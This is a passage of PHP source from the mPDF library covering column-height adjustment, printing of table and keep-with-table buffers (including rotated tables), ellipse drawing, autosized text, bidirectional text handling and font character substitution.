$this->PageLinks[$this->page][$ref][3] *= $ratio; // height unset($this->columnLinks[$s['col']][intval($s['x'])][intval($s['y'])]); } // Adjust FORM FIELDS if (isset($this->columnForms[$s['col']][intval($s['x'])][intval($s['y'])])) { $ref = $this->columnForms[$s['col']][intval($s['x'])][intval($s['y'])]; $this->form->forms[$ref]['x'] += ($xadj); $this->form->forms[$ref]['y'] += ($yadj); unset($this->columnForms[$s['col']][intval($s['x'])][intval($s['y'])]); } /* -- ANNOTATIONS -- */ if (isset($this->columnAnnots[$s['col']][intval($s['x'])][intval($s['y'])])) { $ref = $this->columnAnnots[$s['col']][intval($s['x'])][intval($s['y'])]; $this->PageAnnots[$this->page][$ref]['y'] += ($yadj); unset($this->columnAnnots[$s['col']][intval($s['x'])][intval($s['y'])]); } /* -- END ANNOTATIONS -- */ } } } foreach ($this->internallink as $key => $f) { if (is_array($f) && isset($f['col'])) { $last_col_bottom = 0; for ($nbc = 0; $nbc < $this->NbCol; $nbc++) { if ($f['rel_y'] >= $cbr[$nbc]) { $last_col_bottom = $cbr[$nbc]; } } $yadj = ($f['rel_y'] - $f['Y']) - $last_col_bottom + $this->y0; $f['Y'] += $yadj; unset($f['col']); unset($f['rel_y']); $this->internallink[$key] = $f; } } $last_col = -1; $trans_on = false; foreach ($this->columnbuffer as $key => $s) { if (isset($s['rel_y'])) { // only process position sensitive data // Set ratio to expand y values or heights if (isset($this->ColDetails[$s['newcol']]['max_bottom']) && $this->ColDetails[$s['newcol']]['max_bottom'] && $this->ColDetails[$s['newcol']]['max_bottom'] != $this->y0) { $ratio = ($lowest_bottom_y - ($this->y0)) / ($this->ColDetails[$s['newcol']]['max_bottom'] - ($this->y0)); } else { $ratio = 1; } if (($ratio > 1) && ($ratio <= $this->max_colH_correction)) { // Start Transformation $this->pages[$this->page] .= $this->StartTransform(true) . "\n"; $this->pages[$this->page] .= $this->transformScale(100, $ratio * 100, $x = '', $this->y0, true) . "\n"; $trans_on = true; } } // Now output the adjusted values $this->pages[$this->page] .= $s['s'] . "\n"; if (isset($s['rel_y']) && ($ratio > 1) && ($ratio <= $this->max_colH_correction)) { // only process position sensitive data // Stop Transformation $this->pages[$this->page] .= $this->StopTransform(true) . "\n"; $trans_on = false; } } if ($trans_on) { $this->pages[$this->page] .= $this->StopTransform(true) . "\n"; } } else { // if NOT $this->colvAlign == 'J' // Now output the adjusted values foreach ($this->columnbuffer as $s) { $this->pages[$this->page] .= $s['s'] . "\n"; } } if ($lowest_bottom_y > 0) { $this->y = $lowest_bottom_y; } } // Columns not ended but new page -> align columns (can leave the columns alone - just tidy up the height) elseif ($this->colvAlign == 'J' && $this->ColumnAdjust && !$this->keepColumns) { // calculate the lowest bottom margin $lowest_bottom_y = 0; foreach ($this->columnbuffer as $key => $s) { // Only process output data $t = $s['s']; if ($t == 'ACROFORM' || (preg_match('/BT \d+\.\d\d+ (\d+\.\d\d+) Td/', $t)) || (preg_match('/\d+\.\d\d+ (\d+\.\d\d+) \d+\.\d\d+ [\-]{0,1}\d+\.\d\d+ re/', $t)) || (preg_match('/\d+\.\d\d+ (\d+\.\d\d+) l/', $t)) || (preg_match('/q \d+\.\d\d+ 0 0 \d+\.\d\d+ \d+\.\d\d+ (\d+\.\d\d+) cm \/(I|FO)\d+ Do Q/', $t)) || (preg_match('/\d+\.\d\d+ (\d+\.\d\d+) m/', $t)) || (preg_match('/\d+\.\d\d+ (\d+\.\d\d+) \d+\.\d\d+ \d+\.\d\d+ \d+\.\d\d+ \d+\.\d\d+ c/', $t))) { $clb = $s['y'] + $s['h']; if ((isset($this->ColDetails[$s['col']]['max_bottom']) && $clb > $this->ColDetails[$s['col']]['max_bottom']) || !isset($this->ColDetails[$s['col']]['max_bottom'])) { $this->ColDetails[$s['col']]['max_bottom'] = $clb; } if ($clb > $lowest_bottom_y) { $lowest_bottom_y = $clb; } $this->columnbuffer[$key]['rel_y'] = $s['y']; // Marks position sensitive data to process later if ($t == 'ACROFORM') { $this->columnbuffer[$key]['s'] = ''; } } } // Adjust column length equal foreach ($this->columnbuffer as $key => $s) { // Set ratio to expand y values or heights if (isset($this->ColDetails[$s['col']]['max_bottom']) && $this->ColDetails[$s['col']]['max_bottom']) { $ratio = ($lowest_bottom_y - ($this->y0)) / ($this->ColDetails[$s['col']]['max_bottom'] - ($this->y0)); } else { $ratio = 1; } if (($ratio > 1) && ($ratio <= $this->max_colH_correction)) { $yadj = ($s['y'] - $this->y0) * ($ratio - 1); // Adjust LINKS if (isset($s['rel_y'])) { // only process position sensitive data // otherwise triggers for all entries in column buffer (.e.g. formatting) and makes below adjustments more than once if (isset($this->columnLinks[$s['col']][intval($s['x'])][intval($s['y'])])) { $ref = $this->columnLinks[$s['col']][intval($s['x'])][intval($s['y'])]; $this->PageLinks[$this->page][$ref][1] -= ($yadj * Mpdf::SCALE); // y value $this->PageLinks[$this->page][$ref][3] *= $ratio; // height unset($this->columnLinks[$s['col']][intval($s['x'])][intval($s['y'])]); } // Adjust FORM FIELDS if (isset($this->columnForms[$s['col']][intval($s['x'])][intval($s['y'])])) { $ref = $this->columnForms[$s['col']][intval($s['x'])][intval($s['y'])]; $this->form->forms[$ref]['x'] += ($xadj); $this->form->forms[$ref]['y'] += ($yadj); unset($this->columnForms[$s['col']][intval($s['x'])][intval($s['y'])]); } /* -- ANNOTATIONS -- */ if (isset($this->columnAnnots[$s['col']][intval($s['x'])][intval($s['y'])])) { $ref = $this->columnAnnots[$s['col']][intval($s['x'])][intval($s['y'])]; $this->PageAnnots[$this->page][$ref]['y'] += ($yadj); unset($this->columnAnnots[$s['col']][intval($s['x'])][intval($s['y'])]); } /* -- END ANNOTATIONS -- */ } } } /* -- BOOKMARKS -- */ // Adjust Bookmarks foreach ($this->col_BMoutlines as $v) { $this->BMoutlines[] = ['t' => $v['t'], 'l' => $v['l'], 'y' => $this->y0, 'p' => $v['p']]; } /* -- END BOOKMARKS -- */ /* -- TOC -- */ // Adjust ToC foreach ($this->col_toc as $v) { $this->tableOfContents->_toc[] = ['t' => $v['t'], 'l' => $v['l'], 'p' => $v['p'], 'link' => $v['link'], 'toc_id' => $v['toc_id']]; $this->links[$v['link']][1] = $this->y0; } /* -- END TOC -- */ $trans_on = false; foreach ($this->columnbuffer as $key => $s) { if (isset($s['rel_y'])) { // only process position sensitive data // Set ratio to expand y values or heights if (isset($this->ColDetails[$s['col']]['max_bottom']) && $this->ColDetails[$s['col']]['max_bottom']) { $ratio = ($lowest_bottom_y - ($this->y0)) / ($this->ColDetails[$s['col']]['max_bottom'] - ($this->y0)); } else { $ratio = 1; } if (($ratio > 1) && ($ratio <= $this->max_colH_correction)) { // Start Transformation $this->pages[$this->page] .= $this->StartTransform(true) . "\n"; $this->pages[$this->page] .= $this->transformScale(100, $ratio * 100, $x = '', $this->y0, true) . "\n"; $trans_on = true; } } // Now output the adjusted values $this->pages[$this->page] .= $s['s'] . "\n"; if (isset($s['rel_y']) && ($ratio > 1) && ($ratio <= $this->max_colH_correction)) { // Stop Transformation $this->pages[$this->page] .= $this->StopTransform(true) . "\n"; $trans_on = false; } } if ($trans_on) { $this->pages[$this->page] .= $this->StopTransform(true) . "\n"; } if ($lowest_bottom_y > 0) { $this->y = $lowest_bottom_y; } } else { // Just reproduce the page as it was // If page has not ended but height adjustment was disabled by custom column-break - adjust y $lowest_bottom_y = 0; if (!$this->ColActive && (!$this->ColumnAdjust || $this->keepColumns)) { // calculate the lowest bottom margin foreach ($this->columnbuffer as $key => $s) { // Only process output data $t = $s['s']; if ($t === 'ACROFORM' || (preg_match('/BT \d+\.\d\d+ (\d+\.\d\d+) Td/', $t)) || (preg_match('/\d+\.\d\d+ (\d+\.\d\d+) \d+\.\d\d+ [\-]{0,1}\d+\.\d\d+ re/', $t)) || (preg_match('/\d+\.\d\d+ (\d+\.\d\d+) l/', $t)) || (preg_match('/q \d+\.\d\d+ 0 0 \d+\.\d\d+ \d+\.\d\d+ (\d+\.\d\d+) cm \/(I|FO)\d+ Do Q/', $t)) || (preg_match('/\d+\.\d\d+ (\d+\.\d\d+) m/', $t)) || (preg_match('/\d+\.\d\d+ (\d+\.\d\d+) \d+\.\d\d+ \d+\.\d\d+ \d+\.\d\d+ \d+\.\d\d+ c/', $t))) { $clb = $s['y'] + $s['h']; if (isset($this->ColDetails[$s['col']]['max_bottom']) && $clb > $this->ColDetails[$s['col']]['max_bottom'] || (!isset($this->ColDetails[$s['col']]['max_bottom']) && $clb)) { $this->ColDetails[$s['col']]['max_bottom'] = $clb; } if ($clb > $lowest_bottom_y) { $lowest_bottom_y = $clb; } } } } foreach ($this->columnbuffer as $key => $s) { if ($s['s'] != 'ACROFORM') { $this->pages[$this->page] .= $s['s'] . "\n"; } } if ($lowest_bottom_y > 0) { $this->y = $lowest_bottom_y; } /* -- BOOKMARKS -- */ // Output Bookmarks foreach ($this->col_BMoutlines as $v) { $this->BMoutlines[] = ['t' => $v['t'], 'l' => $v['l'], 'y' => $v['y'], 'p' => $v['p']]; } /* -- END BOOKMARKS -- */ /* -- TOC -- */ // Output ToC foreach ($this->col_toc as $v) { $this->tableOfContents->_toc[] = ['t' => $v['t'], 'l' => $v['l'], 'p' => $v['p'], 'link' => $v['link'], 'toc_id' => $v['toc_id']]; } /* -- END TOC -- */ } foreach ($this->internallink as $key => $f) { if (isset($this->internallink[$key]['col'])) { unset($this->internallink[$key]['col']); } if (isset($this->internallink[$key]['rel_y'])) { unset($this->internallink[$key]['rel_y']); } } $this->columnbuffer = []; $this->ColDetails = []; $this->columnLinks = []; $this->columnAnnots = []; $this->columnForms = []; $this->col_BMoutlines = []; $this->col_toc = []; $this->breakpoints = []; } // mPDF 5.7+ function columnAdjustPregReplace($type, $xadj, $yadj, $pattern, $subject) { preg_match($pattern, $subject, $matches); if (!count($matches)) { return $subject; } if (!isset($matches[3])) { $matches[3] = 0; } if (!isset($matches[4])) { $matches[4] = 0; } if (!isset($matches[5])) { $matches[5] = 0; } if (!isset($matches[6])) { $matches[6] = 0; } return str_replace($matches[0], $this->columnAdjustAdd($type, Mpdf::SCALE, $xadj, $yadj, $matches[1], $matches[2], $matches[3], $matches[4], $matches[5], $matches[6]), $subject); } /* -- END COLUMNS -- */ // ================================================================== /* -- TABLES -- */ function printcellbuffer() { if (count($this->cellBorderBuffer)) { sort($this->cellBorderBuffer); foreach ($this->cellBorderBuffer as $cbb) { $cba = unpack("A16dom/nbord/A1side/ns/dbw/a6ca/A10style/dx/dy/dw/dh/dmbl/dmbr/dmrt/dmrb/dmtl/dmtr/dmlt/dmlb/dcpd/dover/", $cbb); $side = $cba['side']; $color = str_pad($cba['ca'], 6, "\x00"); $details = []; $details[$side]['dom'] = (float) $cba['dom']; $details[$side]['s'] = $cba['s']; $details[$side]['w'] = $cba['bw']; $details[$side]['c'] = $color; $details[$side]['style'] = trim($cba['style']); $details['mbw']['BL'] = $cba['mbl']; $details['mbw']['BR'] = $cba['mbr']; $details['mbw']['RT'] = $cba['mrt']; $details['mbw']['RB'] = $cba['mrb']; $details['mbw']['TL'] = $cba['mtl']; $details['mbw']['TR'] = $cba['mtr']; $details['mbw']['LT'] = $cba['mlt']; $details['mbw']['LB'] = $cba['mlb']; $details['cellposdom'] = $cba['cpd']; $details['p'] = $side; if ($cba['over'] == 1) { $details[$side]['overlay'] = true; } else { $details[$side]['overlay'] = false; } $this->_tableRect($cba['x'], $cba['y'], $cba['w'], $cba['h'], $cba['bord'], $details, false, false); } $this->cellBorderBuffer = []; } } // ================================================================== function printtablebuffer() { if (!$this->table_rotate) { $this->pages[$this->page] .= $this->tablebuffer; foreach ($this->tbrot_Links as $p => $l) { foreach ($l as $v) { $this->PageLinks[$p][] = $v; } } $this->tbrot_Links = []; /* -- ANNOTATIONS -- */ foreach ($this->tbrot_Annots as $p => $l) { foreach ($l as $v) { $this->PageAnnots[$p][] = $v; } } $this->tbrot_Annots = []; /* -- END ANNOTATIONS -- */ /* -- BOOKMARKS -- */ // Output Bookmarks foreach ($this->tbrot_BMoutlines as $v) { $this->BMoutlines[] = ['t' => $v['t'], 'l' => $v['l'], 'y' => $v['y'], 'p' => $v['p']]; } $this->tbrot_BMoutlines = []; /* -- END BOOKMARKS -- */ /* -- TOC -- */ // Output ToC foreach ($this->tbrot_toc as $v) { $this->tableOfContents->_toc[] = ['t' => $v['t'], 'l' => $v['l'], 'p' => $v['p'], 'link' => $v['link'], 'toc_id' => $v['toc_id']]; } $this->tbrot_toc = []; /* -- END TOC -- */ return; } // elseif rotated $lm = $this->lMargin + $this->blk[$this->blklvl]['outer_left_margin'] + $this->blk[$this->blklvl]['border_left']['w'] + $this->blk[$this->blklvl]['padding_left']; $pw = $this->blk[$this->blklvl]['inner_width']; // Start Transformation $this->pages[$this->page] .= $this->StartTransform(true) . "\n"; if ($this->table_rotate > 1) { // clockwise if ($this->tbrot_align == 'L') { $xadj = $this->tbrot_h; // align L (as is) } elseif ($this->tbrot_align == 'R') { $xadj = $lm - $this->tbrot_x0 + ($pw); // align R } else { $xadj = $lm - $this->tbrot_x0 + (($pw + $this->tbrot_h) / 2); // align C } $yadj = 0; } else { // anti-clockwise if ($this->tbrot_align == 'L') { $xadj = 0; // align L (as is) } elseif ($this->tbrot_align == 'R') { $xadj = $lm - $this->tbrot_x0 + ($pw - $this->tbrot_h); // align R } else { $xadj = $lm - $this->tbrot_x0 + (($pw - $this->tbrot_h) / 2); // align C } $yadj = $this->tbrot_w; } $this->pages[$this->page] .= $this->transformTranslate($xadj, $yadj, true) . "\n"; $this->pages[$this->page] .= $this->transformRotate($this->table_rotate, $this->tbrot_x0, $this->tbrot_y0, true) . "\n"; // Now output the adjusted values $this->pages[$this->page] .= $this->tablebuffer; foreach ($this->tbrot_Links as $p => $l) { foreach ($l as $v) { $w = $v[2] / Mpdf::SCALE; $h = $v[3] / Mpdf::SCALE; $ax = ($v[0] / Mpdf::SCALE) - $this->tbrot_x0; $ay = (($this->hPt - $v[1]) / Mpdf::SCALE) - $this->tbrot_y0; if ($this->table_rotate > 1) { // clockwise $bx = $this->tbrot_x0 + $xadj - $ay - $h; $by = $this->tbrot_y0 + $yadj + $ax; } else { $bx = $this->tbrot_x0 + $xadj + $ay; $by = $this->tbrot_y0 + $yadj - $ax - $w; } $v[0] = $bx * Mpdf::SCALE; $v[1] = ($this->h - $by) * Mpdf::SCALE; $v[2] = $h * Mpdf::SCALE; // swap width and height $v[3] = $w * Mpdf::SCALE; $this->PageLinks[$p][] = $v; } } $this->tbrot_Links = []; foreach ($this->internallink as $key => $f) { if (is_array($f) && isset($f['tbrot'])) { $f['Y'] = $this->tbrot_y0; $f['PAGE'] = $this->page; unset($f['tbrot']); $this->internallink[$key] = $f; } } /* -- ANNOTATIONS -- */ foreach ($this->tbrot_Annots as $p => $l) { foreach ($l as $v) { $ax = abs($v['x']) - $this->tbrot_x0; // abs because -ve values are internally set and held for reference if annotMargin set $ay = $v['y'] - $this->tbrot_y0; if ($this->table_rotate > 1) { // clockwise $bx = $this->tbrot_x0 + $xadj - $ay; $by = $this->tbrot_y0 + $yadj + $ax; } else { $bx = $this->tbrot_x0 + $xadj + $ay; $by = $this->tbrot_y0 + $yadj - $ax; } if ($v['x'] < 0) { $v['x'] = -$bx; } else { $v['x'] = $bx; } $v['y'] = ($by); $this->PageAnnots[$p][] = $v; } } $this->tbrot_Annots = []; /* -- END ANNOTATIONS -- */ /* -- BOOKMARKS -- */ // Adjust Bookmarks foreach ($this->tbrot_BMoutlines as $v) { $v['y'] = $this->tbrot_y0; $this->BMoutlines[] = ['t' => $v['t'], 'l' => $v['l'], 'y' => $v['y'], 'p' => $this->page]; } /* -- END BOOKMARKS -- */ /* -- TOC -- */ // Adjust ToC - uses document page number foreach ($this->tbrot_toc as $v) { $this->tableOfContents->_toc[] = ['t' => $v['t'], 'l' => $v['l'], 'p' => $this->page, 'link' => $v['link'], 'toc_id' => $v['toc_id']]; $this->links[$v['link']][1] = $this->tbrot_y0; } /* -- END TOC -- */ $this->tbrot_BMoutlines = []; $this->tbrot_toc = []; // Stop Transformation $this->pages[$this->page] .= $this->StopTransform(true) . "\n"; $this->y = $this->tbrot_y0 + $this->tbrot_w; $this->x = $this->lMargin; $this->tablebuffer = ''; } /** * Keep-with-table This buffers contents of h1-6 to keep on page with table */ function printkwtbuffer() { if (!$this->kwt_moved) { foreach ($this->kwt_buffer as $s) { $this->pages[$this->page] .= $s['s'] . "\n"; } foreach ($this->kwt_Links as $p => $l) { foreach ($l as $v) { $this->PageLinks[$p][] = $v; } } $this->kwt_Links = []; /* -- ANNOTATIONS -- */ foreach ($this->kwt_Annots as $p => $l) { foreach ($l as $v) { $this->PageAnnots[$p][] = $v; } } $this->kwt_Annots = []; /* -- END ANNOTATIONS -- */ /* -- INDEX -- */ // Output Reference (index) foreach ($this->kwt_Reference as $v) { $Present = 0; for ($i = 0; $i < count($this->Reference); $i++) { if ($this->Reference[$i]['t'] == $v['t']) { $Present = 1; if (!in_array($v['op'], $this->Reference[$i]['p'])) { $this->Reference[$i]['p'][] = $v['op']; } } } if ($Present == 0) { $this->Reference[] = ['t' => $v['t'], 'p' => [$v['op']]]; } } $this->kwt_Reference = []; /* -- END INDEX -- */ /* -- BOOKMARKS -- */ // Output Bookmarks foreach ($this->kwt_BMoutlines as $v) { $this->BMoutlines[] = ['t' => $v['t'], 'l' => $v['l'], 'y' => $v['y'], 'p' => $v['p']]; } $this->kwt_BMoutlines = []; /* -- END BOOKMARKS -- */ /* -- TOC -- */ // Output ToC foreach ($this->kwt_toc as $v) { $this->tableOfContents->_toc[] = ['t' => $v['t'], 'l' => $v['l'], 'p' => $v['p'], 'link' => $v['link'], 'toc_id' => $v['toc_id']]; } $this->kwt_toc = []; /* -- END TOC -- */ $this->pageoutput[$this->page] = []; // mPDF 6 return; } // Start Transformation $this->pages[$this->page] .= $this->StartTransform(true) . "\n"; $xadj = $this->lMargin - $this->kwt_x0; // $yadj = $this->y - $this->kwt_y0 ; $yadj = $this->tMargin - $this->kwt_y0; $this->pages[$this->page] .= $this->transformTranslate($xadj, $yadj, true) . "\n"; // Now output the adjusted values foreach ($this->kwt_buffer as $s) { $this->pages[$this->page] .= $s['s'] . "\n"; } // Adjust hyperLinks foreach ($this->kwt_Links as $p => $l) { foreach ($l as $v) { $bx = $this->kwt_x0 + $xadj; $by = $this->kwt_y0 + $yadj; $v[0] = $bx * Mpdf::SCALE; $v[1] = ($this->h - $by) * Mpdf::SCALE; $this->PageLinks[$p][] = $v; } } foreach ($this->internallink as $key => $f) { if (is_array($f) && isset($f['kwt'])) { $f['Y'] += $yadj; $f['PAGE'] = $this->page; unset($f['kwt']); $this->internallink[$key] = $f; } } /* -- ANNOTATIONS -- */ foreach ($this->kwt_Annots as $p => $l) { foreach ($l as $v) { $bx = $this->kwt_x0 + $xadj; $by = $this->kwt_y0 + $yadj; if ($v['x'] < 0) { $v['x'] = -$bx; } else { $v['x'] = $bx; } $v['y'] = $by; $this->PageAnnots[$p][] = $v; } } /* -- END ANNOTATIONS -- */ /* -- BOOKMARKS -- */ // Adjust Bookmarks foreach ($this->kwt_BMoutlines as $v) { if ($v['y'] != 0) { $v['y'] += $yadj; } $this->BMoutlines[] = ['t' => $v['t'], 'l' => $v['l'], 'y' => $v['y'], 'p' => $this->page]; } /* -- END BOOKMARKS -- */ /* -- INDEX -- */ // Adjust Reference (index) foreach ($this->kwt_Reference as $v) { $Present = 0; // Search the reference (AND Ref/PageNo) in the array for ($i = 0; $i < count($this->Reference); $i++) { if ($this->Reference[$i]['t'] == $v['t']) { $Present = 1; if (!in_array($this->page, $this->Reference[$i]['p'])) { $this->Reference[$i]['p'][] = $this->page; } } } if ($Present == 0) { $this->Reference[] = ['t' => $v['t'], 'p' => [$this->page]]; } } /* -- END INDEX -- */ /* -- TOC -- */ // Adjust ToC foreach ($this->kwt_toc as $v) { $this->tableOfContents->_toc[] = ['t' => $v['t'], 'l' => $v['l'], 'p' => $this->page, 'link' => $v['link'], 'toc_id' => $v['toc_id']]; $this->links[$v['link']][0] = $this->page; $this->links[$v['link']][1] += $yadj; } /* -- END TOC -- */ $this->kwt_Links = []; $this->kwt_Annots = []; $this->kwt_Reference = []; $this->kwt_BMoutlines = []; $this->kwt_toc = []; // Stop Transformation $this->pages[$this->page] .= $this->StopTransform(true) . "\n"; $this->kwt_buffer = []; $this->y += $this->kwt_height; $this->pageoutput[$this->page] = []; // mPDF 6 } /* -- END TABLES -- */ function printfloatbuffer() { if (count($this->floatbuffer)) { $this->objectbuffer = $this->floatbuffer; $this->printobjectbuffer(false); $this->objectbuffer = []; $this->floatbuffer = []; $this->floatmargins = []; } } function Circle($x, $y, $r, $style = 'S') { $this->Ellipse($x, $y, $r, $r, $style); } function Ellipse($x, $y, $rx, $ry, $style = 'S') { if ($style === 'F') { $op = 'f'; } elseif ($style === 'FD' or $style === 'DF') { $op = 'B'; } else { $op = 'S'; } $lx = 4 / 3 * (M_SQRT2 - 1) * $rx; $ly = 4 / 3 * (M_SQRT2 - 1) * $ry; $h = $this->h; $this->writer->write(sprintf('%.3F %.3F m %.3F %.3F %.3F %.3F %.3F %.3F c', ($x + $rx) * Mpdf::SCALE, ($h - $y) * Mpdf::SCALE, ($x + $rx) * Mpdf::SCALE, ($h - ($y - $ly)) * Mpdf::SCALE, ($x + $lx) * Mpdf::SCALE, ($h - ($y - $ry)) * Mpdf::SCALE, $x * Mpdf::SCALE, ($h - ($y - $ry)) * Mpdf::SCALE)); $this->writer->write(sprintf('%.3F %.3F %.3F %.3F %.3F %.3F c', ($x - $lx) * Mpdf::SCALE, ($h - ($y - $ry)) * Mpdf::SCALE, ($x - $rx) * Mpdf::SCALE, ($h - ($y - $ly)) * Mpdf::SCALE, ($x - $rx) * Mpdf::SCALE, ($h - $y) * Mpdf::SCALE)); $this->writer->write(sprintf('%.3F %.3F %.3F %.3F %.3F %.3F c', ($x - $rx) * Mpdf::SCALE, ($h - ($y + $ly)) * Mpdf::SCALE, ($x - $lx) * Mpdf::SCALE, ($h - ($y + $ry)) * Mpdf::SCALE, $x * Mpdf::SCALE, ($h - ($y + $ry)) * Mpdf::SCALE)); $this->writer->write(sprintf('%.3F %.3F %.3F %.3F %.3F %.3F c %s', ($x + $lx) * Mpdf::SCALE, ($h - ($y + $ry)) * Mpdf::SCALE, ($x + $rx) * Mpdf::SCALE, ($h - ($y + $ly)) * Mpdf::SCALE, ($x + $rx) * Mpdf::SCALE, ($h - $y) * Mpdf::SCALE, $op)); } /* -- DIRECTW -- */ function AutosizeText($text, $w, $font, $style, $szfont = 72) { $text = ' ' . $text . ' '; $this->SetFont($font, $style, $szfont, false); $text = $this->purify_utf8_text($text); if ($this->text_input_as_HTML) { $text = $this->all_entities_to_utf8($text); } if ($this->usingCoreFont) { $text = mb_convert_encoding($text, $this->mb_enc, 'UTF-8'); } // DIRECTIONALITY if (preg_match("/([" . $this->pregRTLchars . "])/u", $text)) { $this->biDirectional = true; } $textvar = 0; $save_OTLtags = $this->OTLtags; $this->OTLtags = []; if ($this->useKerning) { if ($this->CurrentFont['haskernGPOS']) { $this->OTLtags['Plus'] .= ' kern'; } else { $textvar = ($textvar | TextVars::FC_KERNING); } } /* -- OTL -- */ // Use OTL OpenType Table Layout - GSUB & GPOS if (isset($this->CurrentFont['useOTL']) && $this->CurrentFont['useOTL']) { $text = $this->otl->applyOTL($text, $this->CurrentFont['useOTL']); $OTLdata = $this->otl->OTLdata; } /* -- END OTL -- */ $this->OTLtags = $save_OTLtags; $this->magic_reverse_dir($text, $this->directionality, $OTLdata); $width = $this->sizeConverter->convert($w); $loop = 0; while ($loop == 0) { $this->SetFont($font, $style, $szfont, false); $sz = $this->GetStringWidth($text, true, $OTLdata, $textvar); if ($sz > $w) { $szfont --; } else { $loop ++; } } $this->SetFont($font, $style, $szfont, true, true); $this->Cell($w, 0, $text, 0, 0, "C", 0, '', 0, 0, 0, 'M', 0, false, $OTLdata, $textvar); } /* -- END DIRECTW -- */ // ==================================================== // ==================================================== function magic_reverse_dir(&$chunk, $dir, &$chunkOTLdata) { /* -- OTL -- */ if ($this->usingCoreFont) { return 0; } if ($chunk == '') { return 0; } if ($this->biDirectional || $dir == 'rtl') { // check if string contains RTL text // including any added from OTL tables (in PUA) $pregRTLchars = $this->pregRTLchars; if (isset($this->CurrentFont['rtlPUAstr']) && $this->CurrentFont['rtlPUAstr']) { $pregRTLchars .= $this->CurrentFont['rtlPUAstr']; } if (!preg_match("/[" . $pregRTLchars . "]/u", $chunk) && $dir != 'rtl') { return 0; } // Chunk doesn't contain RTL characters $unicode = $this->UTF8StringToArray($chunk, false); $isStrong = false; if (empty($chunkOTLdata)) { $this->getBasicOTLdata($chunkOTLdata, $unicode, $isStrong); } $useGPOS = isset($this->CurrentFont['useOTL']) && ($this->CurrentFont['useOTL'] & 0x80); // NB Returned $chunk may be a shorter string (with adjusted $cOTLdata) by removal of LRE, RLE etc embedding codes. list($chunk, $rtl_content) = $this->otl->bidiSort($unicode, $chunk, $dir, $chunkOTLdata, $useGPOS); return $rtl_content; } /* -- END OTL -- */ return 0; } /* -- OTL -- */ function getBasicOTLdata(&$chunkOTLdata, $unicode, &$is_strong) { if (empty($this->otl)) { $this->otl = new Otl($this, $this->fontCache); } $chunkOTLdata['group'] = ''; $chunkOTLdata['GPOSinfo'] = []; $chunkOTLdata['char_data'] = []; foreach ($unicode as $char) { $ucd_record = Ucdn::get_ucd_record($char); $chunkOTLdata['char_data'][] = ['bidi_class' => $ucd_record[2], 'uni' => $char]; if ($ucd_record[2] == 0 || $ucd_record[2] == 3 || $ucd_record[2] == 4) { $is_strong = true; } // contains strong character if ($ucd_record[0] == Ucdn::UNICODE_GENERAL_CATEGORY_NON_SPACING_MARK) { $chunkOTLdata['group'] .= 'M'; } elseif ($char == 32 || $char == 12288) { $chunkOTLdata['group'] .= 'S'; } else { $chunkOTLdata['group'] .= 'C'; } } } function _setBidiCodes($mode = 'start', $bdf = '') { $s = ''; if ($mode == 'end') { // PDF comes before PDI to close isolate-override (e.g. "LRILROPDFPDI") if (strpos($bdf, 'PDF') !== false) { $s .= UtfString::code2utf(0x202C); } // POP DIRECTIONAL FORMATTING if (strpos($bdf, 'PDI') !== false) { $s .= UtfString::code2utf(0x2069); } // POP DIRECTIONAL ISOLATE } elseif ($mode == 'start') { // LRI comes before LRO to open isolate-override (e.g. "LRILROPDFPDI") if (strpos($bdf, 'LRI') !== false) { // U+2066 LRI $s .= UtfString::code2utf(0x2066); } elseif (strpos($bdf, 'RLI') !== false) { // U+2067 RLI $s .= UtfString::code2utf(0x2067); } elseif (strpos($bdf, 'FSI') !== false) { // U+2068 FSI $s .= UtfString::code2utf(0x2068); } if (strpos($bdf, 'LRO') !== false) { // U+202D LRO $s .= UtfString::code2utf(0x202D); } elseif (strpos($bdf, 'RLO') !== false) { // U+202E RLO $s .= UtfString::code2utf(0x202E); } elseif (strpos($bdf, 'LRE') !== false) { // U+202A LRE $s .= UtfString::code2utf(0x202A); } elseif (strpos($bdf, 'RLE') !== false) { // U+202B RLE $s .= UtfString::code2utf(0x202B); } } return $s; } /* -- END OTL -- */ function SetSubstitutions() { $subsarray = []; require __DIR__ . '/../data/subs_win-1252.php'; $this->substitute = []; foreach ($subsarray as $key => $val) { $this->substitute[UtfString::code2utf($key)] = $val; } } function SubstituteChars($html) { // only substitute characters between tags if (count($this->substitute)) { $a = preg_split('/(<.*?>)/ms', $html, -1, PREG_SPLIT_DELIM_CAPTURE); $html = ''; foreach ($a as $i => $e) { if ($i % 2 == 0) { $e = strtr($e, $this->substitute); } $html .= $e; } } return $html; } function SubstituteCharsSIP(&$writehtml_a, &$writehtml_i, &$writehtml_e) { if (preg_match("/^(.*?)([\x{20000}-\x{2FFFF}]+)(.*)/u", $writehtml_e, $m)) { if (isset($this->CurrentFont['sipext']) && $this->CurrentFont['sipext']) { $font = $this->CurrentFont['sipext']; if (!in_array($font, $this->available_unifonts)) { return 0; } $writehtml_a[$writehtml_i] = $writehtml_e = $m[1]; array_splice($writehtml_a, $writehtml_i + 1, 0, ['span style="font-family: ' . $font . '"', $m[2], '/span', $m[3]]); $this->subPos = $writehtml_i; return 4; } } return 0; } /** * If core font is selected in document which is not onlyCoreFonts - substitute with non-core font */ function SubstituteCharsNonCore(&$writehtml_a, &$writehtml_i, &$writehtml_e) { // Ignore if in Textarea if ($writehtml_i > 0 && strtolower(substr($writehtml_a[$writehtml_i - 1], 0, 8)) == 'textarea') { return 0; } if (mb_convert_encoding(mb_convert_encoding($writehtml_e, $this->mb_enc, "UTF-8"), "UTF-8", $this->mb_enc) == $writehtml_e) { return 0; } $cw = &$this->CurrentFont['cw']; $unicode = $this->UTF8StringToArray($writehtml_e, false); $start = -1; $end = 0; $flag = 0; $ftype = ''; $u = []; if (!$this->subArrMB) { require __DIR__ . '/../data/subs_core.php'; $this->subArrMB['a'] = $aarr; $this->subArrMB['s'] = $sarr; $this->subArrMB['z'] = $zarr; } foreach ($unicode as $c => $char) { if (($char > 127 || ($flag == 1 && $char == 32)) && $char != 173 && (!isset($this->subArrMB['a'][$char]) || ($flag == 1 && $char == 32)) && ($char < 1536 || ($char > 1791 && $char < 2304) || $char > 3455)) { if ($flag == 0) { $start = $c; } $flag = 1; $u[] = $char; } elseif ($flag > 0) { $end = $c - 1; break; } } if ($flag > 0 && !$end) { $end = count($unicode) - 1; } if ($start == -1) { return 0; } // Try in backup subs font if (!is_array($this->backupSubsFont)) { $this->backupSubsFont = ["$this->backupSubsFont"]; } foreach ($this->backupSubsFont as $bsfctr => $bsf) { if ($this->fonttrans[$bsf] == 'chelvetica' || $this->fonttrans[$bsf] == 'ctimes' || $this->fonttrans[$bsf] == 'ccourier') { continue; 